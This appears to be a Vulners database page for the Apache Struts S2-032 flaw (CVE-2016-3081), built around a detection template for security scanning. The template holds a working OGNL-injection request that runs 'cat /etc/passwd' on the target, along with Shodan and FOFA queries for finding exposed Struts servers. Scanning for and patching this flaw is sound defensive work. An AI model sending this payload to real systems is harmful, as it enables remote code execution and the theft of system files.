Apache S2-032 Struts - Remote Code Execution
| Reporter | Title | Published | Views | Family All 52 |
|---|---|---|---|---|
| Apache Struts - Dynamic Method Invocation Remote Code Execution (Metasploit) | 2 May 201600:00 | – | zdt | |
| Security Bulletin: IBM Call Center and Apache Struts Struts upgrade strategy (various CVEs, see below) | 14 Sep 202217:37 | – | ibm | |
| Security Bulletin: Multiple Vulnerabilities in Struts affect IBM InfoSphere Information Server | 16 Jun 201813:42 | – | ibm | |
| Apache Struts Dynamic Method Invocation RCE | 30 Sep 202200:00 | – | bdu_fstec | |
| CVE-2016-3081 | 2 May 201600:00 | – | circl | |
| Apache Struts Command Injection Vulnerability | 8 Oct 202600:00 | – | cisa_kev | |
| Apache Struts2 Remote Code Execution Vulnerability (CNVD-2016-02506 ) | 21 Apr 201600:00 | – | cnvd | |
| Apache Struts Dynamic Method Remote Code Execution (CVE-2016-3081) | 1 May 201600:00 | – | checkpoint_advisories | |
| CVE-2016-3081 | 26 Apr 201614:00 | – | cve | |
| CVE-2016-3081 | 26 Apr 201614:00 | – | cvelist |
10
id: CVE-2016-3081
info:
name: Apache S2-032 Struts - Remote Code Execution
author: dhiyaneshDK
severity: high
description: |
Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when dynamic method invocation is enabled, allows remote attackers to execute arbitrary code via method: prefix (related to chained expressions).
impact: |
Remote code execution
remediation: |
Upgrade to Apache Struts version 2.3.20.2, 2.3.24.2, or 2.3.28.1.
reference:
- https://cwiki.apache.org/confluence/display/WW/S2-032
- https://struts.apache.org/docs/s2-032.html
- https://nvd.nist.gov/vuln/detail/CVE-2016-3081
- http://web.archive.org/web/20211207042547/https://securitytracker.com/id/1035665
- http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20160527-01-struts2-en
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2016-3081
cwe-id: CWE-77
epss-score: 0.96052
epss-percentile: 0.99879
cpe: cpe:2.3:a:apache:struts:2.0.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: struts
shodan-query:
- http.html:"apache struts"
- http.title:"struts2 showcase"
- http.html:"struts problem report"
fofa-query:
- body="struts problem report"
- title="struts2 showcase"
- body="apache struts"
google-query: intitle:"struts2 showcase"
tags: cve2016,cve,struts,rce,apache,vuln,vkev,kev
http:
- raw:
- |
GET /index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022100db46c93d836d163df0444c408b156e117b26e9a36a0c44d174edd96d5c766e3e022013d3fdd74ae2b8b96dad14f196fedd76578190405eab160997ee3cc37f7c4e3e:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
8.5High risk
Vulners AI Score8.5
CVSS 3.18.1
CVSS 29.3
EPSS0.96052
SSVC